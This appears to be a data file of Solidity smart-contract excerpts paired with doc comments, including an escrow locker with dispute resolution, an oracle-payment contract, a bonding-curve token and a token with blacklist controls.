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./partial_match/1/0xB985eA1be961f7c4A4C45504444C02c88c4fdEF9/sources/lib/hats-module/src/HatsModule.sol
|
import { console2 } from "forge-std/Test.sol"; remove before deploy
|
import { IHats } from "hats-protocol/Interfaces/IHats.sol";
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./partial_match/1/0xBaBbfEEE65AB0c84337dc223169B2b8c91094f1B/sources/FXCMStake.sol
|
* @dev Approve `to` to operate on `tokenId` Emits an {Approval} event./ internal owner
|
bytes memory returndata = to.functionCall(
abi.encodeWithSelector(
IERC721Receiver(to).onERC721Received.selector,
_msgSender(),
from,
tokenId,
_data
),
"ERC721: transfer to non ERC721Receiver implementer"
);
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
| 2,893,974
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/*
βββ βββββββββββ βββ
βββ ββββββββββββββββ
βββ ββββββ ββββββ
βββ ββββββ ββββββ
ββββββββββββββββββββ βββ
βββββββββββββββββββ βββ
βββ βββββββ ββββββββββ ββββββββββββββββββ
βββ ββββββββββββββββββββ ββββββββββββββββββββ
βββ βββ ββββββ βββββββ ββββββ ββββββββ
βββ βββ ββββββ βββββββ ββββββ ββββββββ
ββββββββββββββββββββββββββββ ββββββββββββββ βββ
ββββββββ βββββββ ββββββββββ ββββββββββββββ βββ
DEAR MSG.SENDER(S):
/ LXL is a project in beta.
// Please audit & use at your own risk.
/// Entry into LXL shall not create an attorney/client relationship.
//// Likewise, LXL should not be construed as legal advice or replacement for professional counsel.
///// STEAL THIS C0D3SL4W
~presented by LexDAO LLC \+|+/
*/
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.7.4;
interface IERC20 { // brief interface for erc20 token tx
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
library Address { // helper for address type - see openzeppelin-contracts/blob/master/contracts/utils/Address.sol
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
}
library SafeERC20 { // wrapper around erc20 token tx for non-standard contract - see openzeppelin-contracts/blob/master/contracts/token/ERC20/SafeERC20.sol
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returnData) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returnData.length > 0) { // return data is optional
require(abi.decode(returnData, (bool)), "SafeERC20: erc20 operation did not succeed");
}
}
}
library SafeMath { // arithmetic wrapper for unit under/overflow check
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
}
contract Context { // describe current contract execution context (metaTX support) - see openzeppelin-contracts/blob/master/contracts/GSN/Context.sol
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract ReentrancyGuard { // call wrapper for reentrancy check - see https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/ReentrancyGuard.sol
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
_status = _ENTERED;
_;
_status = _NOT_ENTERED;
}
}
/**
* @title LexLocker
* @author LexDAO LLC
* @notice Milestone token locker registry with embedded resolution.
*/
contract LexLocker is Context, ReentrancyGuard {
using SafeERC20 for IERC20;
using SafeMath for uint256;
/*$βοΈ\+LXL+/βοΈοΈ$*/
address public manager; // account managing LXL settings - see 'Manager Functions' - updateable by manager
address public swiftResolverToken; // token required to participate as swift resolver - updateable by manager
address public wETH; // ether token wrapper contract reference - updateable by manager
uint256 private lockerCount; // lockers counted into LXL registry
uint256 public MAX_DURATION; // time limit on token lockup - default 63113904 (2-year) - updateable by manager
uint256 public resolutionRate; // rate to determine resolution fee for disputed locker (e.g., 20 = 5% of remainder) - updateable by manager
uint256 public swiftResolverTokenBalance; // balance required in swiftResolverToken to participate as swift resolver - updateable by manager
string public lockerTerms; // general terms wrapping LXL protocol - updateable by manager
string[] public marketTerms; // market terms stamped by manager
string[] public resolutions; // locker resolutions stamped by LXL resolver
mapping(address => uint256[]) private clientRegistrations; // tracks registered lockers per client account
mapping(address => uint256[]) private providerRegistrations; // tracks registered lockers per provider account
mapping(address => bool) public swiftResolverConfirmed; // tracks registered swift resolvers
mapping(uint256 => ADR) public adrs; // tracks registered ADR details
mapping(uint256 => Locker) public lockers; // tracks registered LXL details
event DepositLocker(address indexed client, address clientOracle, address indexed provider, address indexed resolver, address token, uint256[] amount, uint256 registration, uint256 sum, uint256 termination, string details, bool swiftResolver);
event RegisterLocker(address indexed client, address clientOracle, address indexed provider, address indexed resolver, address token, uint256[] amount, uint256 registration, uint256 sum, uint256 termination, string details, bool swiftResolver);
event ConfirmLocker(uint256 indexed registration);
event RequestLockerResolution(address indexed client, address indexed counterparty, address indexed resolver, address token, uint256 deposit, uint256 registration, string details, bool swiftResolver);
event Release(uint256 indexed milestone, uint256 indexed registration);
event Withdraw(uint256 indexed registration);
event AssignClientOracle(address indexed clientOracle, uint256 indexed registration);
event ClientProposeResolver(address indexed proposedResolver, uint256 indexed registration, string details);
event ProviderProposeResolver(address indexed proposedResolver, uint256 indexed registration, string details);
event Lock(address indexed caller, uint256 indexed registration, string details);
event Resolve(uint256 indexed clientAward, uint256 indexed providerAward, uint256 indexed registration, uint256 resolutionFee, string resolution);
event AddMarketTerms(uint256 indexed index, string terms);
event AmendMarketTerms(uint256 indexed index, string terms);
event UpdateLockerSettings(address indexed manager, address indexed swiftResolverToken, address wETH, uint256 MAX_DURATION, uint256 indexed resolutionRate, uint256 swiftResolverTokenBalance, string lockerTerms);
event TributeToManager(string details);
event UpdateSwiftResolverStatus(address indexed swiftResolver, string details, bool confirmed);
struct ADR {
address proposedResolver;
address resolver;
uint8 clientProposedResolver;
uint8 providerProposedResolver;
uint256 resolutionRate;
bool swiftResolver;
}
struct Locker {
address client;
address clientOracle;
address provider;
address token;
uint8 confirmed;
uint8 locked;
uint256[] amount;
uint256 currentMilestone;
uint256 milestones;
uint256 released;
uint256 sum;
uint256 termination;
string details;
}
constructor(
address _manager,
address _swiftResolverToken,
address _wETH,
uint256 _MAX_DURATION,
uint256 _resolutionRate,
uint256 _swiftResolverTokenBalance,
string memory _lockerTerms
) {
manager = _manager;
swiftResolverToken = _swiftResolverToken;
wETH = _wETH;
MAX_DURATION = _MAX_DURATION;
resolutionRate = _resolutionRate;
swiftResolverTokenBalance = _swiftResolverTokenBalance;
lockerTerms = _lockerTerms;
}
/***************
LOCKER FUNCTIONS
***************/
// ************
// REGISTRATION
// ************
/**
* @notice LXL can be registered as deposit from `client` for benefit of `provider`.
* @dev If LXL `token` is wETH, msg.value can be wrapped into wETH in single call.
* @param clientOracle Account that can help call `release()` and `withdraw()` (default to `client` if unsure).
* @param provider Account to receive registered `amount`s.
* @param resolver Account that can call `resolve()` to award sum remainder between LXL parties.
* @param token Token address for deposit.
* @param amount Lump sum or array of milestone `amount`s to be sent to `provider` on call of `release()`.
* @param termination Exact termination date in seconds since epoch.
* @param details Context re: LXL.
* @param swiftResolver If `true`, sum remainder can be resolved by holders of `swiftResolverToken`.
*/
function depositLocker( // CLIENT-TRACK
address clientOracle,
address provider,
address resolver,
address token,
uint256[] memory amount,
uint256 termination,
string memory details,
bool swiftResolver
) external nonReentrant payable returns (uint256) {
require(_msgSender() != resolver && clientOracle != resolver && provider != resolver, "client/clientOracle/provider = resolver");
require(termination <= block.timestamp.add(MAX_DURATION), "duration maxed");
uint256 sum;
for (uint256 i = 0; i < amount.length; i++) {
sum = sum.add(amount[i]);
}
if (msg.value > 0) {
require(token == wETH && msg.value == sum, "!ethBalance");
(bool success, ) = wETH.call{value: msg.value}("");
require(success, "!ethCall");
IERC20(wETH).safeTransfer(address(this), msg.value);
} else {
IERC20(token).safeTransferFrom(_msgSender(), address(this), sum);
}
lockerCount++;
uint256 registration = lockerCount;
clientRegistrations[_msgSender()].push(registration);
providerRegistrations[provider].push(registration);
adrs[registration] = ADR(
address(0),
resolver,
0,
0,
resolutionRate,
swiftResolver);
lockers[registration] = Locker(
_msgSender(),
clientOracle,
provider,
token,
1,
0,
amount,
1,
amount.length,
0,
sum,
termination,
details);
emit DepositLocker(_msgSender(), clientOracle, provider, resolver, token, amount, registration, sum, termination, details, swiftResolver);
return registration;
}
/**
* @notice LXL can be registered as `provider` request for `client` deposit (by calling `confirmLocker()`).
* @param client Account to provide sum deposit and call `release()` of registered `amount`s.
* @param clientOracle Account that can help call `release()` and `withdraw()` (default to client if unsure).
* @param provider Account to receive registered `amount`s.
* @param resolver Account that can call `resolve()` to award sum remainder between LXL parties.
* @param token Token address for deposit.
* @param amount Lump sum or array of milestone amounts to be sent to `provider` on call of `release()`.
* @param termination Exact termination date in seconds since epoch.
* @param details Context re: LXL.
* @param swiftResolver If `true`, sum remainder can be resolved by holders of `swiftResolverToken`.
*/
function registerLocker( // PROVIDER-TRACK
address client,
address clientOracle,
address provider,
address resolver,
address token,
uint256[] memory amount,
uint256 termination,
string memory details,
bool swiftResolver
) external nonReentrant returns (uint256) {
require(client != resolver && clientOracle != resolver && provider != resolver, "client/clientOracle/provider = resolver");
require(termination <= block.timestamp.add(MAX_DURATION), "duration maxed");
uint256 sum;
for (uint256 i = 0; i < amount.length; i++) {
sum = sum.add(amount[i]);
}
lockerCount++;
uint256 registration = lockerCount;
clientRegistrations[client].push(registration);
providerRegistrations[provider].push(registration);
adrs[registration] = ADR(
address(0),
resolver,
0,
0,
resolutionRate,
swiftResolver);
lockers[registration] = Locker(
client,
clientOracle,
provider,
token,
0,
0,
amount,
1,
amount.length,
0,
sum,
termination,
details);
emit RegisterLocker(client, clientOracle, provider, resolver, token, amount, registration, sum, termination, details, swiftResolver);
return registration;
}
/**
* @notice LXL `client` can confirm after `registerLocker()` is called for their account to deposit sum for `provider`.
* @dev If LXL `token` is wETH, msg.value can be wrapped into wETH in single call.
* @param registration Registered LXL index.
*/
function confirmLocker(uint256 registration) external nonReentrant payable { // PROVIDER-TRACK
Locker storage locker = lockers[registration];
require(_msgSender() == locker.client, "!client");
require(locker.confirmed == 0, "confirmed");
address token = locker.token;
uint256 sum = locker.sum;
if (msg.value > 0) {
require(token == wETH && msg.value == sum, "!ethBalance");
(bool success, ) = wETH.call{value: msg.value}("");
require(success, "!ethCall");
IERC20(wETH).safeTransfer(address(this), msg.value);
} else {
IERC20(token).safeTransferFrom(_msgSender(), address(this), sum);
}
locker.confirmed = 1;
emit ConfirmLocker(registration);
}
/**
* @notice LXL depositor (`client`) can request direct resolution between selected `counterparty` over deposit. E.g., staked wager to benefit charity as `counterparty`.
* @dev If LXL `token` is wETH, msg.value can be wrapped into wETH in single call.
* @param counterparty Other account (`provider`) that can receive award from `resolver`.
* @param resolver Account that can call `resolve()` to award deposit between LXL parties.
* @param token Token address for deposit.
* @param deposit Lump sum amount for deposit.
* @param details Context re: resolution request.
* @param swiftResolver If `true`, deposit can be resolved by holders of `swiftResolverToken`.
*/
function requestLockerResolution(address counterparty, address resolver, address token, uint256 deposit, string memory details, bool swiftResolver) external nonReentrant payable returns (uint256) {
require(_msgSender() != resolver && counterparty != resolver, "client/counterparty = resolver");
if (msg.value > 0) {
require(token == wETH && msg.value == deposit, "!ethBalance");
(bool success, ) = wETH.call{value: msg.value}("");
require(success, "!ethCall");
IERC20(wETH).safeTransfer(address(this), msg.value);
} else {
IERC20(token).safeTransferFrom(_msgSender(), address(this), deposit);
}
uint256[] memory amount = new uint256[](1);
amount[0] = deposit;
lockerCount++;
uint256 registration = lockerCount;
clientRegistrations[_msgSender()].push(registration);
providerRegistrations[counterparty].push(registration);
adrs[registration] = ADR(
address(0),
resolver,
0,
0,
resolutionRate,
swiftResolver);
lockers[registration] = Locker(
_msgSender(),
address(0),
counterparty,
token,
1,
1,
amount,
0,
0,
0,
deposit,
0,
details);
emit RequestLockerResolution(_msgSender(), counterparty, resolver, token, deposit, registration, details, swiftResolver);
return registration;
}
// ***********
// CLIENT MGMT
// ***********
/**
* @notice LXL `client` can assign account as `clientOracle` to help call `release()` and `withdraw()`.
* @param clientOracle Account that can help call `release()` and `withdraw()` (default to client if unsure).
* @param registration Registered LXL index.
*/
function assignClientOracle(address clientOracle, uint256 registration) external nonReentrant {
Locker storage locker = lockers[registration];
require(_msgSender() == locker.client, "!client");
require(locker.locked == 0, "locked");
require(locker.released < locker.sum, "released");
locker.clientOracle = clientOracle;
emit AssignClientOracle(clientOracle, registration);
}
/**
* @notice LXL `client` or `clientOracle` can release milestone `amount` to `provider` up to `sum` or until `lock()`.
* @param registration Registered LXL index.
*/
function release(uint256 registration) external nonReentrant {
Locker storage locker = lockers[registration];
require(_msgSender() == locker.client || _msgSender() == locker.clientOracle, "!client/oracle");
require(locker.confirmed == 1, "!confirmed");
require(locker.locked == 0, "locked");
require(locker.released < locker.sum, "released");
uint256 milestone = locker.currentMilestone-1;
uint256 payment = locker.amount[milestone];
IERC20(locker.token).safeTransfer(locker.provider, payment);
locker.released = locker.released.add(payment);
if (locker.released < locker.sum) {locker.currentMilestone++;}
emit Release(milestone+1, registration);
}
/**
* @notice LXL `client` or `clientOracle` can withdraw sum remainder after `termination`.
* @dev `release()` can still be called by `client` after `termination` to preserve extension option.
* @param registration Registered LXL index.
*/
function withdraw(uint256 registration) external nonReentrant {
Locker storage locker = lockers[registration];
require(_msgSender() == locker.client || _msgSender() == locker.clientOracle, "!client/oracle");
require(locker.confirmed == 1, "!confirmed");
require(locker.locked == 0, "locked");
require(locker.released < locker.sum, "released");
require(locker.termination < block.timestamp, "!terminated");
uint256 remainder = locker.sum.sub(locker.released);
IERC20(locker.token).safeTransfer(locker.client, remainder);
locker.released = locker.sum;
emit Withdraw(registration);
}
// **********
// RESOLUTION
// **********
/**
* @notice LXL `client` or `provider` can lock to freeze release and withdrawal of sum remainder until `resolver` calls `resolve()`.
* @dev `lock()` can be called repeatedly to allow LXL parties to continue to provide context until resolution.
* @param registration Registered LXL index.
* @param details Context re: lock and/or dispute.
*/
function lock(uint256 registration, string calldata details) external nonReentrant {
Locker storage locker = lockers[registration];
require(_msgSender() == locker.client || _msgSender() == locker.provider, "!party");
require(locker.confirmed == 1, "!confirmed");
require(locker.released < locker.sum, "released");
locker.locked = 1;
emit Lock(_msgSender(), registration, details);
}
/**
* @notice After LXL is locked, selected `resolver` calls to distribute sum remainder between `client` and `provider` minus fee.
* @param clientAward Remainder amount awarded to `client`.
* @param providerAward Remainder amount awarded to `provider`.
* @param registration Registered LXL index.
* @param resolution Context re: resolution.
*/
function resolve(uint256 clientAward, uint256 providerAward, uint256 registration, string calldata resolution) external nonReentrant {
ADR storage adr = adrs[registration];
Locker storage locker = lockers[registration];
uint256 remainder = locker.sum.sub(locker.released);
uint256 resolutionFee = remainder.div(adr.resolutionRate); // calculate dispute resolution fee as set on registration
require(_msgSender() != locker.client && _msgSender() != locker.clientOracle && _msgSender() != locker.provider, "client/clientOracle/provider = resolver");
require(locker.locked == 1, "!locked");
require(locker.released < locker.sum, "released");
require(clientAward.add(providerAward) == remainder.sub(resolutionFee), "awards != remainder - fee");
if (adr.swiftResolver) {
require(IERC20(swiftResolverToken).balanceOf(_msgSender()) >= swiftResolverTokenBalance && swiftResolverConfirmed[_msgSender()], "!swiftResolverTokenBalance/confirmed");
} else {
require(_msgSender() == adr.resolver, "!resolver");
}
IERC20(locker.token).safeTransfer(locker.client, clientAward);
IERC20(locker.token).safeTransfer(locker.provider, providerAward);
IERC20(locker.token).safeTransfer(adr.resolver, resolutionFee);
locker.released = locker.sum;
resolutions.push(resolution);
emit Resolve(clientAward, providerAward, registration, resolutionFee, resolution);
}
/**
* @notice Fallback to allow LXL party to suggest new `resolver` to counterparty.
* @dev LXL `client` calls to update `resolver` selection. If matches `provider` suggestion or confirmed, `resolver` updates.
* @param proposedResolver Proposed account to resolve LXL.
* @param registration Registered LXL index.
* @param details Context re: proposed resolver.
*/
function clientProposeResolver(address proposedResolver, uint256 registration, string calldata details) external nonReentrant {
ADR storage adr = adrs[registration];
Locker storage locker = lockers[registration];
require(_msgSender() == locker.client, "!client");
require(adr.clientProposedResolver == 0, "pending");
require(locker.released < locker.sum, "released");
if (adr.proposedResolver == proposedResolver) {
adr.resolver = proposedResolver;
} else {
adr.clientProposedResolver = 0;
adr.providerProposedResolver = 0;
}
adr.proposedResolver = proposedResolver;
adr.clientProposedResolver = 1;
emit ClientProposeResolver(proposedResolver, registration, details);
}
/**
* @notice Fallback to allow LXL party to suggest new `resolver` to counterparty.
* @dev LXL `provider` calls to update `resolver` selection. If matches `client` suggestion or confirmed, `resolver` updates.
* @param proposedResolver Proposed account to resolve LXL.
* @param registration Registered LXL index.
* @param details Context re: proposed resolver.
*/
function providerProposeResolver(address proposedResolver, uint256 registration, string calldata details) external nonReentrant {
ADR storage adr = adrs[registration];
Locker storage locker = lockers[registration];
require(_msgSender() == locker.provider, "!provider");
require(adr.providerProposedResolver == 0, "pending");
require(locker.released < locker.sum, "released");
if (adr.proposedResolver == proposedResolver) {
adr.resolver = proposedResolver;
} else {
adr.clientProposedResolver = 0;
adr.providerProposedResolver = 0;
}
adr.proposedResolver = proposedResolver;
adr.providerProposedResolver = 1;
emit ProviderProposeResolver(proposedResolver, registration, details);
}
/**
* @notice Swift resolvers can call to update service status.
* @dev Swift resolvers must first confirm and can continue with details and/or cancel service.
* @param details Context re: status update.
* @param confirmed If `true`, swift resolver can participate in LXL resolution.
*/
function updateSwiftResolverStatus(string calldata details, bool confirmed) external nonReentrant {
require(IERC20(swiftResolverToken).balanceOf(_msgSender()) >= swiftResolverTokenBalance, "!swiftResolverTokenBalance");
swiftResolverConfirmed[_msgSender()] = confirmed;
emit UpdateSwiftResolverStatus(_msgSender(), details, confirmed);
}
// *******
// GETTERS
// *******
function getClientRegistrations(address account) external view returns (uint256[] memory) { // get set of `client` registered lockers
return clientRegistrations[account];
}
function getLockerCount() external view returns (uint256) { // helper to make it easier to track total lockers
return lockerCount;
}
function getLockerMilestones(uint256 registration) external view returns (address, uint256[] memory) { // returns batch of milestone `token` amounts for `provider`
return (lockers[registration].token, lockers[registration].amount);
}
function getMarketTermsCount() external view returns (uint256) { // helper to make it easier to track total market terms stamped by `manager`
return marketTerms.length;
}
function getProviderRegistrations(address account) external view returns (uint256[] memory) { // get set of `provider` registered lockers
return providerRegistrations[account];
}
function getResolutionCount() external view returns (uint256) { // helper to make it easier to track total resolutions passed by LXL `resolver`s
return resolutions.length;
}
/****************
MANAGER FUNCTIONS
****************/
/**
* @dev Throws if caller is not LXL manager.
*/
modifier onlyManager {
require(msg.sender == manager, "!manager");
_;
}
/**
* @notice Updates LXL with new market terms.
* @param terms New terms to add to LXL market.
*/
function addMarketTerms(string calldata terms) external nonReentrant onlyManager {
marketTerms.push(terms);
emit AddMarketTerms(marketTerms.length-1, terms);
}
/**
* @notice Updates LXL with amended market terms.
* @param index Index in marketTerms array to push amended terms.
* @param terms Amended terms to add to LXL market.
*/
function amendMarketTerms(uint256 index, string calldata terms) external nonReentrant onlyManager {
marketTerms[index] = terms;
emit AmendMarketTerms(index, terms);
}
/**
* @notice General payment function for manager of LXL contract.
* @param details Describes context for ETH transfer.
*/
function tributeToManager(string calldata details) external nonReentrant payable {
(bool success, ) = manager.call{value: msg.value}("");
require(success, "!ethCall");
emit TributeToManager(details);
}
/**
* @notice Updates LXL management settings.
* @param _manager Account that governs LXL contract settings.
* @param _swiftResolverToken Token to mark participants in swift resolution.
* @param _wETH Contract reference to wrap ether.
* @param _resolutionRate Common rate to calculate resolution fee for LXL.
* @param _swiftResolverTokenBalance Token balance required to perform swift resolution.
* @param _lockerTerms General terms wrapping wrapping LXL protocol.
*/
function updateLockerSettings(
address _manager,
address _swiftResolverToken,
address _wETH,
uint256 _MAX_DURATION,
uint256 _resolutionRate,
uint256 _swiftResolverTokenBalance,
string calldata _lockerTerms
) external nonReentrant onlyManager {
manager = _manager;
swiftResolverToken = _swiftResolverToken;
wETH = _wETH;
MAX_DURATION = _MAX_DURATION;
resolutionRate = _resolutionRate;
swiftResolverTokenBalance = _swiftResolverTokenBalance;
lockerTerms = _lockerTerms;
emit UpdateLockerSettings(_manager, _swiftResolverToken, _wETH, _MAX_DURATION, _resolutionRate, _swiftResolverTokenBalance, _lockerTerms);
}
}
|
tracks registered lockers per client account
|
mapping(address => uint256[]) private clientRegistrations;
| 1,200,447
|
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pragma solidity 0.4.26;
import "./DSMath.sol";
import "./ERC20.sol";
import "./WETH.sol";
import "./UniswapExchangeInterface.sol";
import "./OracleInterface.sol";
import "./MedianizerInterface.sol";
/**
* @title Atomic Loans Fund Oracles Contract
* @notice Contract for interfacing with Oracles using only ETH
* @author Atomic Loans
*/
contract FundOracles is DSMath {
ERC20 link;
WETH weth;
UniswapExchangeInterface uniswapExchange;
MedianizerInterface med;
/**
* @notice Construct a new Fund Oracles contract
* @param med_ The address of the Medianizer
* @param link_ The LINK token address
* @param weth_ The WETH token address
* @param uniswapExchange_ The address of the LINK to ETH Uniswap Exchange
*/
constructor(MedianizerInterface med_, ERC20 link_, WETH weth_, UniswapExchangeInterface uniswapExchange_) public {
med = med_;
link = link_;
weth = weth_;
uniswapExchange = uniswapExchange_;
}
/**
* @notice Determines the last oracle token payment
* @param oracle_ Index of oracle
* @return Last payment to oracle in token (LINK for Chainlink, WETH for Oraclize)
*/
function billWithEth(uint256 oracle_) public view returns (uint256) {
return OracleInterface(med.oracles(oracle_)).bill();
}
/**
* @notice Determines the payment amount in ETH
* @param oracle_ Index of oracle
* @param payment_ Payment amount in tokens (LINK or WETH)
* @return Amount of ETH to pay in updateWithEth to update Oracle
*/
function paymentWithEth(uint256 oracle_, uint128 payment_) public view returns(uint256) {
if (oracle_ < 5) {
return uniswapExchange.getEthToTokenOutputPrice(payment_);
} else {
return uint(payment_);
}
}
/**
* @notice Update the Oracle using ETH
* @param oracle_ Index of oracle
* @param payment_ Payment amount in tokens (LINK or WETH)
* @param token_ Address of token to receive as a reward for updating Oracle
*/
function updateWithEth(uint256 oracle_, uint128 payment_, address token_) public payable {
address oracleAddress = med.oracles(oracle_);
OracleInterface oracle = OracleInterface(oracleAddress);
if (oracle_ < 5) {
// ChainLink Oracle
link.approve(address(uniswapExchange), uint(payment_));
uniswapExchange.ethToTokenSwapOutput.value(msg.value)(uint(payment_), now + 300);
link.approve(oracleAddress, uint(payment_));
oracle.update(payment_, token_);
} else {
// Oraclize Oracle
weth.deposit.value(msg.value)();
weth.approve(oracleAddress, uint(payment_));
oracle.update(payment_, token_);
}
}
}
|
* @notice Determines the last oracle token payment @param oracle_ Index of oracle @return Last payment to oracle in token (LINK for Chainlink, WETH for Oraclize)/
|
function billWithEth(uint256 oracle_) public view returns (uint256) {
return OracleInterface(med.oracles(oracle_)).bill();
}
| 12,617,084
|
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./full_match/5/0x631CadF9267a7784D690AFa0Bd9128760CF555Cf/sources/contracts/libraries/Transfer.sol
|
* @dev Returns the receipt digest./
|
function receiptDigest(bytes32 _domainSeparator, bytes32 _receiptHash) internal pure returns (bytes32) {
return _domainSeparator.toTypedDataHash(_receiptHash);
}
| 1,908,488
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./partial_match/1/0xc49E03bDd6809fd168565b26d27d5Cf72F9e9525/sources/EtceteraCrowdsale.sol
|
@return true if crowdsale is live
|
function SaleIsLive() public view returns (bool) {
return now > startTime && now < endTime;
}
| 3,584,005
|
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pragma solidity ^0.4.18;
import "zeppelin-solidity/contracts/token/ERC20/StandardToken.sol";
import "zeppelin-solidity/contracts/ownership/Ownable.sol";
import "./BancorFormula.sol";
/**
* @title Bonding Curve
* @dev Bonding curve contract based on Bacor formula
* inspired by bancor protocol and simondlr
* https://github.com/bancorprotocol/contracts
* https://github.com/ConsenSys/curationmarkets/blob/master/CurationMarkets.sol
*/
contract BondingCurve is StandardToken, BancorFormula, Ownable {
/**
* @dev Available balance of reserve token in contract
*/
uint256 public poolBalance;
/*
* @dev reserve ratio, represented in ppm, 1-1000000
* 1/3 corresponds to y= multiple * x^2
* 1/2 corresponds to y= multiple * x
* 2/3 corresponds to y= multiple * x^1/2
* multiple will depends on contract initialization,
* specificallytotalAmount and poolBalance parameters
* we might want to add an 'initialize' function that will allow
* the owner to send ether to the contract and mint a given amount of tokens
*/
uint32 public reserveRatio;
/*
* - Front-running attacks are currently mitigated by the following mechanisms:
* TODO - minimum return argument for each conversion provides a way to define a minimum/maximum price for the transaction
* - gas price limit prevents users from having control over the order of execution
*/
uint256 public gasPrice = 0 wei; // maximum gas price for bancor transactions
/**
* @dev default function
* gas ~ 91645
*/
function() public payable {
buy();
}
/**
* @dev Buy tokens
* gas ~ 77825
* TODO implement maxAmount that helps prevent miner front-running
*/
function buy() validGasPrice public payable returns(bool) {
require(msg.value > 0);
uint256 tokensToMint = calculatePurchaseReturn(totalSupply_, poolBalance, reserveRatio, msg.value);
totalSupply_ = totalSupply_.add(tokensToMint);
balances[msg.sender] = balances[msg.sender].add(tokensToMint);
poolBalance = poolBalance.add(msg.value);
LogMint(tokensToMint, msg.value);
return true;
}
/**
* @dev Sell tokens
* gas ~ 86936
* @param sellAmount Amount of tokens to withdraw
* TODO implement maxAmount that helps prevent miner front-running
*/
function sell(uint256 sellAmount) validGasPrice public returns(bool) {
require(sellAmount > 0 && balances[msg.sender] >= sellAmount);
uint256 ethAmount = calculateSaleReturn(totalSupply_, poolBalance, reserveRatio, sellAmount);
msg.sender.transfer(ethAmount);
poolBalance = poolBalance.sub(ethAmount);
balances[msg.sender] = balances[msg.sender].sub(sellAmount);
totalSupply_ = totalSupply_.sub(sellAmount);
LogWithdraw(sellAmount, ethAmount);
return true;
}
// verifies that the gas price is lower than the universal limit
modifier validGasPrice() {
assert(tx.gasprice <= gasPrice);
_;
}
/**
* @dev Allows the owner to update the gas price limit
* @param _gasPrice The new gas price limit
*/
function setGasPrice(uint256 _gasPrice) onlyOwner public {
require(_gasPrice > 0);
gasPrice = _gasPrice;
}
event LogMint(uint256 amountMinted, uint256 totalCost);
event LogWithdraw(uint256 amountWithdrawn, uint256 reward);
event LogBondingCurve(string logString, uint256 value);
}
|
* @dev Buy tokens gas ~ 77825 TODO implement maxAmount that helps prevent miner front-running/
|
function buy() validGasPrice public payable returns(bool) {
require(msg.value > 0);
uint256 tokensToMint = calculatePurchaseReturn(totalSupply_, poolBalance, reserveRatio, msg.value);
totalSupply_ = totalSupply_.add(tokensToMint);
balances[msg.sender] = balances[msg.sender].add(tokensToMint);
poolBalance = poolBalance.add(msg.value);
LogMint(tokensToMint, msg.value);
return true;
}
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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
//renounceOwnership() delete by Steve
//renounceOwnership() delete by Steve
//renounceOwnership() delete by Steve
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Blacklistable is Ownable {
address public blacklister;
mapping(address => bool) internal blacklisted;
event Blacklisted(address indexed _account);
event UnBlacklisted(address indexed _account);
event BlacklisterChanged(address indexed newBlacklister);
/**
* @dev Throws if called by any account other than the blacklister
*/
modifier onlyBlacklister() {
require(
msg.sender == blacklister,
"Caller is not the BL administrator"
);
_;
}
/**
* @dev Throws if argument account is blacklisted
* @param _account The address to check
*/
modifier notBlacklisted(address _account) {
require(
!blacklisted[_account],
"Account is Locked"
);
_;
}
/**
* @dev Checks if account is blacklisted
* @param _account The address to check
*/
function isBlacklisted(address _account) external view returns (bool) {
return blacklisted[_account];
}
/**
* @dev Adds account to blacklist
* @param _account The address to blacklist
*/
function blacklist(address _account) external onlyBlacklister {
blacklisted[_account] = true;
